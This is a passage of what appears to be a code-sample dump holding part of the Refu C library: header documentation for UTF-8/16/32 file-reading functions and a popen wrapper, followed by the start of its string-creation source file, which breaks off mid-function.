read the bytes\n// @param[out] eof Pass a reference to a char to receive a true/false value for whether EOF has been reached.\n// @return Returns the actual number of bytes read or an error if there was a problem.\n// The possible errors are:\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgets_UTF16BE(char* buff,uint32_t num,FILE* f,char* eof);\n// @brief Gets a number of bytes from a Little endian UTF-16 file descriptor\n//\n// This is a function that's similar to c library fgets but it also returns the number of bytes read. Reads in from the file until @c num bytes\n// have been read or new line or EOF character has been encountered.\n//\n// The function will read until @c num characters are read and if @c num\n// would take us to the middle of a UTF16 character then the next character shall also be read\n// and the function will return the number of bytes read.\n// Since the function null terminates the buffer the given @c buff needs to be of at least\n// @c num+5 size to cater for the worst case.\n//\n// The final bytestream stored inside @c buff is in the endianess of the system.\n//\n// If right after the last character read comes the EOF, the function\n// shall detect so and assign @c true to @c eof.\n//\n// In Windows where file endings are in the form of 2 bytes CR-LF (Carriage return - NewLine) this function\n// shall just ignore the carriage returns and not return it inside the return buffer at @c buff.\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param[in] buff A buffer to be filled with the contents of the file. Should be of size at least @c num+2\n// @param[in] num The maximum number of bytes to read from within the file NOT including the null terminating character(which in itelf is 2 bytes). Should be a multiple of 2\n// @param[in] f A valid FILE descriptor from which to read the bytes\n// @param[out] eof Pass a reference to a char to receive a true/false value for whether EOF has been reached.\n// @return Returns the actual number of bytes read or an error if there was a problem.\n// The possible errors are:\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgets_UTF16LE(char* buff,uint32_t num,FILE* f,char* eof);\n// @brief Gets a number of bytes from a UTF-8 file descriptor\n//\n// This is a function that's similar to c library fgets but it also returns the number of bytes read. Reads in from the file until @c num characters\n// have been read or new line or EOF character has been encountered.\n//\n// The function  automatically adds a null termination character at the end of\n// @c buff but this character is not included in the returned actual number of bytes.\n//\n// The function will read until @c num characters are read and if @c num\n// would take us to the middle of a UTF8 character then the next character shall also be read\n// and the function will return the number of bytes read.\n// Since the function null terminates the buffer the given @c buff needs to be of at least\n// @c num+4 size to cater for the worst case.\n//\n// If right after the last character read comes the EOF, the function\n// shall detect so and assign @c true to @c eof.\n//\n// In Windows where file endings are in the form of 2 bytes CR-LF (Carriage return - NewLine) this function\n// shall just ignore the carriage returns and not return it inside the return buffer at @c buff.\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param[in] buff A buffer to be filled with the contents of the file. Should of size at least @c num+4\n// @param[in] num The maximum number of bytes to read from within the file NOT including the null terminating character(which in itelf is 1 byte)\n// @param[in] f A valid FILE descriptor from which to read the bytes\n// @param[out] eof Pass a reference to a char to receive a true/false value for whether EOF has been reached.\n// @return Returns the actual number of bytes read or an error if there was a problem.\n// The possible errors are:\n// + @c RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE: If an invalid UTF-8 byte has been found\n// + @c RE_UTF8_INVALID_SEQUENCE_CONBYTE: If during parsing the file we were expecting a continuation\n// byte and did not find it\n// + @c RE_UTF8_INVALID_SEQUENCE_END: If the null character is encountered in between bytes that should\n// have been continuation bytes\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgets_UTF8(char* buff,uint32_t num,FILE* f,char* eof);\n\n// @brief  Gets a unicode character from a UTF-8 file descriptor\n//\n// This function attempts to assume a more modern fgetc() role for UTF-8 encoded files.\n// Reads bytes from the File descriptor @c f until a full UTF-8 unicode character has been read\n//\n// After this function the file pointer will have moved either by @c 1, @c 2, @c 3 or @c 4\n// bytes if the return value is positive. You can see how much by checking the return value.\n//\n// You shall need to provide an integer at @c c to contain either the decoded Unicode\n// codepoint or the UTF-8 endoced byte depending on the value of the @c cp argument.\n//\n// @param f A valid FILE descriptor from which to read the bytes\n// @param c Pass an int that will receive either the unicode code point value or\n// the UTF8 bytes depending on the value of the @c cp flag\n// @param cp A boolean flag. If @c true then the int passed at @c c will contain the unicode code point\n// of the read character, so the UTF-8 will be decoded.\n// If @c false the int passed at @c c will contain the value of the read bytes in UTF-8 without any decoding\n// @return Returns the number of bytes read (either @c 1, @c 2, @c 3 or @c 4) or an error if the function\n// fails for some reason. Possible error values are:\n// + @c RE_FILE_EOF: The end of file has been found while reading. If the end of file is encountered\n// in the middle of a UTF-8 encoded character where we would be expecting something different\n// and @c RE_UTF8_INVALID_SEQUENCE_END error is also logged\n// + @c RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE: If an invalid UTF-8 byte has been found\n// + @c RE_UTF8_INVALID_SEQUENCE_CONBYTE: If during parsing the file we were expecting a continuation\n// byte and did not find it\n// + @c RE_UTF8_INVALID_SEQUENCE_END: If the null character is encountered in between bytes that should\n// have been continuation bytes\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgetc_UTF8(FILE* f,uint32_t *c,char cp);\n// @brief  Gets a unicode character from a UTF-16 Big Endian file descriptor\n//\n// This function attempts to assume a more modern fgetc() role for UTF-16 encoded files.\n// Reads bytes from the File descriptor @c f until a full UTF-16 unicode character has been read\n//\n// After this function the file pointer will have moved either by @c 2 or @c 4\n// bytes if the return value is positive. You can see how much by checking the return value.\n//\n// You shall need to provide an integer at @c c to contain either the decoded Unicode\n// codepoint or the Bigendian encoded UTF-16 bytes depending on the value of @c the cp argument.\n//\n// @param f A valid FILE descriptor from which to read the bytes\n// @param c Pass an int that will receive either the unicode code point value or\n// the UTF16 bytes depending on the value of the @c cp flag\n// @param cp A boolean flag. If @c true then the int passed at @c c will contain the unicode code point\n// of the read character, so the UTF-16 will be decoded.\n// If @c false the int passed at @c c will contain the value of the read bytes in UTF-16 without any decoding\n// @return Returns the number of bytes read (either @c 2 or @c 4) or an error if the function\n// fails for some reason. Possible error values are:\n// + @c RE_UTF16_INVALID_SEQUENCE: Either the read word or its surrogate pair if 4 bytes were read held illegal values\n// + @c RE_UTF16_NO_SURRPAIR: According to the first read word a surrogate pair was expected but none was found\n// + @c RE_FILE_EOF: The end of file has been found while reading. If the end of file is encountered\n// while we expect a UTF-16 surrogate pair an appropriate error is logged\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgetc_UTF16BE(FILE* f,uint32_t *c,char cp);\n// @brief  Gets a unicode character from a UTF-16 Little Endian file descriptor\n//\n// This function attempts to assume a more modern fgetc() role for UTF-16 encoded files.\n// Reads bytes from the File descriptor @c f until a full UTF-16 unicode character has been read\n//\n// After this function the file pointer will have moved either by @c 2 or @c 4\n// bytes if the return value is positive. You can see how much by checking the return value.\n//\n// You shall need to provide an integer at @c c to contain either the decoded Unicode\n// codepoint or the Bigendian encoded UTF-16 bytes depending on the value of @c the cp argument.\n//\n// @param f A valid FILE descriptor from which to read the bytes\n// @param c Pass an int that will receive either the unicode code point value or\n// the UTF16 bytes depending on the value of the @c cp flag\n// @param cp A boolean flag. If @c true then the int passed at @c c will contain the unicode code point\n// of the read character, so the UTF-16 will be decoded.\n// If @c false the int passed at @c c will contain the value of the read bytes in UTF-16 without any decoding\n// @return Returns the number of bytes read (either @c 2 or @c 4) or an error if the function\n// fails for some reason. Possible error values are:\n// + @c RE_UTF16_INVALID_SEQUENCE: Either the read word or its surrogate pair if 4 bytes were read held illegal values\n// + @c RE_UTF16_NO_SURRPAIR: According to the first read word a surrogate pair was expected but none was found\n// + @c RE_FILE_EOF: The end of file has been found while reading. If the end of file is encountered\n// while we expect a UTF-16 surrogate pair an appropriate error is logged\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgetc_UTF16LE(FILE* f,uint32_t *c,char cp);\n// @brief  Gets a unicode character from a UTF-32 Little Endian file descriptor\n//\n// This function attempts to assume a more modern fgetc() role for UTF-32 encoded files.\n// Reads bytes from the File descriptor @c f until a full UTF-32 unicode character has been read\n//\n// After this function the file pointer will have moved by @c 4\n// bytes if the return value is positive.\n//\n// You shall need to provide an integer at @c to contain the UTF-32 codepoint.\n//\n// @param f A valid FILE descriptor from which to read the bytes\n// @param c Pass an int that will receive either the unicode code point value or\n// the UTF16 bytes depending on the value of the @c cp flag\n// If @c false the int passed at @c c will contain the value of the read bytes in UTF-16 without any decoding\n// @return Returns either @c RF_SUCCESS for succesfull readin or one of the following errors:\n// + @c RE_FILE_EOF: The end of file has been found while reading.\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgetc_UTF32LE(FILE* f,uint32_t *c);\n// @brief  Gets a unicode character from a UTF-32 Big Endian file descriptor\n//\n// This function attempts to assume a more modern fgetc() role for UTF-32 encoded files.\n// Reads bytes from the File descriptor @c f until a full UTF-32 unicode character has been read\n//\n// After this function the file pointer will have moved by @c 4\n// bytes if the return value is positive.\n//\n// You shall need to provide an integer at @c to contain the UTF-32 codepoint.\n//\n// @param f A valid FILE descriptor from which to read the bytes\n// @param c Pass an int that will receive either the unicode code point value or\n// the UTF16 bytes depending on the value of the @c cp flag\n// If @c false the int passed at @c c will contain the value of the read bytes in UTF-16 without any decoding\n// @return Returns either @c RF_SUCCESS for succesfull readin or one of the following errors:\n// + @c RE_FILE_EOF: The end of file has been found while reading.\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgetc_UTF32BE(FILE* f,uint32_t *c);\n\n// @brief Moves a unicode character backwards in a big endian UTF-32 file stream\n//\n// @param f The file stream\n// @param c Returns the character we moved back to as a unicode codepoint\n// @return Returns either @c RF_SUCCESS for success or one of the following errors:\n// + @c RE_FILE_POS_OVERFLOW: If during trying to read the current file's position it can't be represented by the system\n// + @c RE_FILE_BAD: If The file descriptor is corrupt/illegal\n// + @c RE_FILE_NOTFILE: If the file descriptor is not a file but something else. e.g. socket.\n// + @c RE_FILE_GETFILEPOS: If the file's position could not be retrieved for some unknown reason\n// + @c RE_FILE_WRITE_BLOCK: While attempting to move the file pointer, it was occupied by another thread, and the no block flag was set\n// + @c RE_INTERRUPT: Operating on the file failed due to a system interrupt\n// + @c RE_FILE_IO: There was a physical I/O error\n// + @c RE_FILE_NOSPACE: There was no space on the device holding the file\n// + @c RE_FILE_NOTFILE: The device we attempted to manipulate is non-existent\n// + @c RE_FILE_READ: If during reading the file there was an error\n// + @c RE_FILE_READ_BLOCK: If during reading the file the read operation failed due to the file being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the underlying file descriptor's mode was not correctly set for reading\ni_DECLIMEX_ int32_t rfFback_UTF32BE(FILE* f,uint32_t *c);\n// @brief Moves a unicode character backwards in a little endian UTF-32 file stream\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param f The file stream\n// @param c Returns the character we moved back to as a unicode codepoint\n// @return Returns either @c RF_SUCCESS for success or one of the following errors:\n// + @c RE_FILE_POS_OVERFLOW: If during trying to read the current file's position it can't be represented by the system\n// + @c RE_FILE_BAD: If The file descriptor is corrupt/illegal\n// + @c RE_FILE_NOTFILE: If the file descriptor is not a file but something else. e.g. socket.\n// + @c RE_FILE_GETFILEPOS: If the file's position could not be retrieved for some unknown reason\n// + @c RE_FILE_WRITE_BLOCK: While attempting to move the file pointer, it was occupied by another thread, and the no block flag was set\n// + @c RE_INTERRUPT: Operating on the file failed due to a system interrupt\n// + @c RE_FILE_IO: There was a physical I/O error\n// + @c RE_FILE_NOSPACE: There was no space on the device holding the file\n// + @c RE_FILE_NOTFILE: The device we attempted to manipulate is non-existent\n// + @c RE_FILE_READ: If during reading the file there was an error\n// + @c RE_FILE_READ_BLOCK: If during reading the file the read operation failed due to the file being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the underlying file descriptor's mode was not correctly set for reading\ni_DECLIMEX_ int32_t rfFback_UTF32LE(FILE* f,uint32_t *c);\n// @brief Moves a unicode character backwards in a big endian UTF-16 file stream\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param f The file stream\n// @param c Returns the character we moved back to as a unicode codepoint\n// @return Returns either the number of bytes moved backwards (either @c 4 or @c 2) for success or one of the following errors:\n// + @c RE_UTF16_INVALID_SEQUENCE: Either the read word or its surrogate pair if 4 bytes were read held illegal values\n// + @c RE_FILE_POS_OVERFLOW: If during trying to read the current file's position it can't be represented by the system\n// + @c RE_FILE_BAD: If The file descriptor is corrupt/illegal\n// + @c RE_FILE_NOTFILE: If the file descriptor is not a file but something else. e.g. socket.\n// + @c RE_FILE_GETFILEPOS: If the file's position could not be retrieved for some unknown reason\n// + @c RE_FILE_WRITE_BLOCK: While attempting to move the file pointer, it was occupied by another thread, and the no block flag was set\n// + @c RE_INTERRUPT: Operating on the file failed due to a system interrupt\n// + @c RE_FILE_IO: There was a physical I/O error\n// + @c RE_FILE_NOSPACE: There was no space on the device holding the file\n// + @c RE_FILE_NOTFILE: The device we attempted to manipulate is non-existent\n// + @c RE_FILE_READ: If during reading the file there was an error\n// + @c RE_FILE_READ_BLOCK: If during reading the file the read operation failed due to the file being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the underlying file descriptor's mode was not correctly set for reading\ni_DECLIMEX_ int32_t rfFback_UTF16BE(FILE* f,uint32_t *c);\n// @brief Moves a unicode character backwards in a little endian UTF-16 file stream\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param f The file stream\n// @param c Returns the character we moved back to as a unicode codepoint\n// @return Returns either the number of bytes moved backwards (either @c 4 or @c 2) for success or one of the following errors:\n// + @c RE_UTF16_INVALID_SEQUENCE: Either the read word or its surrogate pair if 4 bytes were read held illegal values\n// + @c RE_FILE_POS_OVERFLOW: If during trying to read the current file's position it can't be represented by the system\n// + @c RE_FILE_BAD: If The file descriptor is corrupt/illegal\n// + @c RE_FILE_NOTFILE: If the file descriptor is not a file but something else. e.g. socket.\n// + @c RE_FILE_GETFILEPOS: If the file's position could not be retrieved for some unknown reason\n// + @c RE_FILE_WRITE_BLOCK: While attempting to move the file pointer, it was occupied by another thread, and the no block flag was set\n// + @c RE_INTERRUPT: Operating on the file failed due to a system interrupt\n// + @c RE_FILE_IO: There was a physical I/O error\n// + @c RE_FILE_NOSPACE: There was no space on the device holding the file\n// + @c RE_FILE_NOTFILE: The device we attempted to manipulate is non-existent\n// + @c RE_FILE_READ: If during reading the file there was an error\n// + @c RE_FILE_READ_BLOCK: If during reading the file the read operation failed due to the file being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the underlying file descriptor's mode was not correctly set for reading\ni_DECLIMEX_ int32_t rfFback_UTF16LE(FILE* f,uint32_t *c);\n// @brief Moves a unicode character backwards in a UTF-8 file stream\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param f The file stream\n// @param c Returns the character we moved back to as a unicode codepoint\n// @return Returns either the number of bytes moved backwards for success (either @c 4, @c 3, @c 2 or @c 1) or one of the following errors:\n// + @c RE_UTF8_INVALID_SEQUENCE: If during moving bacwards in the file unexpected UTF-8 bytes were found\n// + @c RE_FILE_POS_OVERFLOW: If during trying to read the current file's position it can't be represented by the system\n// + @c RE_FILE_BAD: If The file descriptor is corrupt/illegal\n// + @c RE_FILE_NOTFILE: If the file descriptor is not a file but something else. e.g. socket.\n// + @c RE_FILE_GETFILEPOS: If the file's position could not be retrieved for some unknown reason\n// + @c RE_FILE_WRITE_BLOCK: While attempting to move the file pointer, it was occupied by another thread, and the no block flag was set\n// + @c RE_INTERRUPT: Operating on the file failed due to a system interrupt\n// + @c RE_FILE_IO: There was a physical I/O error\n// + @c RE_FILE_NOSPACE: There was no space on the device holding the file\n// + @c RE_FILE_NOTFILE: The device we attempted to manipulate is non-existent\n// + @c RE_FILE_READ: If during reading the file there was an error\n// + @c RE_FILE_READ_BLOCK: If during reading the file the read operation failed due to the file being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the underlying file descriptor's mode was not correctly set for reading\ni_DECLIMEX_ int32_t rfFback_UTF8(FILE* f,uint32_t *c);\n\n// @brief Opens another process as a pipe\n//\n// This function is a cross-platform popen wrapper. In linux it uses popen and in Windows it uses\n// _popen.\n// @lmsFunction\n// @param command The string with the command to execute. Is basically the name of the program/process you want to spawn\n// with its full path and its parameters. @inhtype{String,StringX} @tmpSTR\n// @param mode The mode you want the pipe to work in. There are two possible values:\n// + @c \"r\" The calling process can read the spawned command's standard output via the returned stream.\n// + @c \"w\" The calling process can write to the spawned command's standard input via the returned stream.\n//\n// Anything else will result in an error\n// @return For success popen will return a FILE descriptor that can be used to either read or write from the pipe.\n// If there was an error @c 0 is returned and an error is logged.\n#ifdef RF_IAMHERE_FOR_DOXYGEN\ni_DECLIMEX_ FILE* rfPopen(void* command,const char* mode);\n#else\ni_DECLIMEX_ FILE* i_rfPopen(void* command,const char* mode);\n#define rfPopen(i_CMD_,i_MODE_) i_rfLMS_WRAP2(FILE*,i_rfPopen,i_CMD_,i_MODE_)\n#endif\n\n// @brief Closes a pipe\n//\n// This function is a cross-platform wrapper for pclose. It closes a file descriptor opened with @ref rfPopen() and\n// returns the exit code of the process that was running\n// @param stream The file descriptor of the pipe returned by @ref rfPopen() that we want to close\n// @return Returns the exit code of the process or -1 if there was an error\ni_DECLIMEX_ int rfPclose(FILE* stream);\n\n// @} End of I/O group\n\n#ifdef __cplusplus\n}///closing bracket for calling from C++\n#endif\n\n\n#endif//include guards end\n"
  },
  {
    "path": "samples/C/rfc_string.c",
    "content": "/**\n** Copyright (c) 2011-2012, Karapetsas Eleftherios\n** All rights reserved.\n**\n** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n**  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n**  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in\n**     the documentation and/or other materials provided with the distribution.\n**  3. Neither the name of the Original Author of Refu nor the names of its contributors may be used to endorse or promote products derived from\n**\n**  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n**  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n**  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n**  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n**  SERVICES;LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n**  WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n**  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n**/\n#include <errno.h>\n\n#include <String/rfc_string.h>\n// include bitwise operations\n#include <rf_utils.h>\n// include the private functions and macros\n#include \"string_private.h\"\n// include io_private only for the write check\n#include \"../IO/io_private.h\"\n// include the extended strin\n#include <String/rfc_stringx.h>\n// for HUGE_VAL definition\n#include <math.h>\n\n#include <rf_localmem.h> // for the local stack memory\n\n/*********************************************************************** Start of the RF_String functions *****************************************************************************************/\n\n/*-------------------------------------------------------------------------Methods to create an RF_String-------------------------------------------------------------------------------*/\n\n// Allocates and returns a string with the given characters a refu string with the given characters. Given characters have to be in UTF-8. A check for valide sequence of bytes is performed.\n#ifndef RF_OPTION_DEFAULT_ARGUMENTS\nRF_String* rfString_Create(const char* s,...)\n#else\nRF_String* i_rfString_Create(const char* s,...)\n#endif\n{\n    READ_VSNPRINTF_ARGS(s,s,0)\n\n    // check for validity of the given sequence and get the character length\n    uint32_t byteLength;\n    if( rfUTF8_VerifySequence(buff,&byteLength) == RF_FAILURE)\n    {\n        LOG_ERROR(\"Error at String Allocation due to invalid UTF-8 byte sequence\",RE_STRING_INIT_FAILURE);\n        if(buffAllocated == true)\n            free(buff);\n        return 0;\n    }\n\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    // get length\n    ret->byteLength = byteLength;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(ret->bytes,ret->byteLength+1);\n    memcpy(ret->bytes,buff,ret->byteLength+1);\n    if(buffAllocated==true)\n        free(buff);\n    return ret;\n}\n#ifdef RF_OPTION_DEFAULT_ARGUMENTS\nRF_String* i_NVrfString_Create(const char* s)\n{\n    // check for validity of the given sequence and get the character length\n    uint32_t byteLength;\n    if( rfUTF8_VerifySequence(s,&byteLength) == RF_FAILURE)\n    {\n        LOG_ERROR(\"Error at String Allocation due to invalid UTF-8 byte sequence\",RE_STRING_INIT_FAILURE);\n        return 0;\n    }\n\n    RF_String* ret;\n    RF_MALLOC(ret,sizeof(RF_String));\n    // get length\n    ret->byteLength = byteLength;\n\n    // now that we know the length we can allocate the buffer and copy the bytes\n    RF_MALLOC(ret->bytes,ret->byteLength+1);\n    memcpy(ret->bytes,s,ret->byteLength+1);\n\n    return ret;\n}\n#endif\n\n\n// Allocates and returns a string with the given characters a refu string with the given characters. Given characters have to be in UTF-8. A check for valid sequence of bytes is performed.\nRF_String* i_rfString_CreateLocal1(const char* s,...)\n{\n#if RF_OPTION_SOURCE_ENCODING != RF_UTF8\n    uint32_t characterLength,*codepoints,i=0,j;\n#endif\n    // remember the stack pointer before this macro evaluation\n    rfLMS_MacroEvalPtr(RF_LMS);\n    // read the var args\n    READ_VSNPRINTF_ARGS(s,s,0)\n// /===Start of Non-UTF-8 code===// /\n#if (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF16_LE) || (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF16_BE)\n    // find the bytelength of the UTF-16 buffer\n    while(buff[i] != '\\0' && buff[i+1]!= '\\0')\n        i++;\n    i+=2;\n    // allocate the codepoint buffer\n    RF_MALLOC(codepoints,i/2)\n#elif (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF32_LE) || (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF32_BE)\n    // find the bytelength of the UTF-32 buffer\n    while(buff[i] != '\\0' && buff[i+1]!= '\\0' && buff[i+2]!= '\\0' && buff[i+3]!= '\\0')\n        i++;\n    i+=4;\n    // allocate the codepoint buffer\n    RF_MALLOC(codepoints,i)\n#endif\n#if (RF_OPTION_SOURCE_ENCODING  ==  RF_UTF16_LE)// decode the UTF16\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n        if(rfUTF16_Decode(buff,&characterLength,codepoints) == false)\n            goto cleanup;\n    else\n        if(rfUTF16_Decode_swap(buff,&characterLength,codepoints)==false)\n            goto cleanup;\n\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF16_BE// decode the UTF16\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n        if(rfUTF16_Decode_swap(buff,&characterLength,codepoints) == false)\n            goto cleanup;\n    else\n        if(rfUTF16_Decode(buff,&characterLength,codepoints)==false)\n            goto cleanup;\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF32_LE// copy the UTF32 into the codepoint\n    memcpy(codepoints,buff,i);\n    if(rfUTILS_Endianess != RF_LITTLE_ENDIAN)\n    {\n        for(j=0;j<i;j+=4)\n        {\n            rfUTILS_SwapEndianUI((uint32_t*)(codepoints+j))\n        }\n    }\n#elif RF_OPTION_SOURCE_ENCODING == RF_UTF32_BE// copy the UTF32 into the codepoint\n    memcpy(codepoints,buff,i);\n    if(rfUTILS_Endianess !RF_BIG_ENDIAN RF_LITTLE_ENDIAN)\n    {\n        for(j=0;j<i;j+=4)\n        {\n            rfUTILS_SwapEndianUI((uint32_t*)(codepoints+j))\n        }\n    }\n#endif\n#if RF_OPTION_SOURCE_ENCODING != RF_UTF8 // in any case other than UTF-8 encode the codepoints into UTF-8 , and free them\n    if(buffAllocated == true)\n        free(buff);\n    buffAllocated = true;\n    if((buff =  rfUTF8_Encode(codepoints,characterLength,&byteLength)) == 0)\n    {\n        LOG_ERROR(\"While attempting to create a temporary RF_String the given byte sequence could not be properly encoded into UTF-8\",RE_UTF8_ENCODING);\n        free(codepoints);\n        return 0;\n    }\n    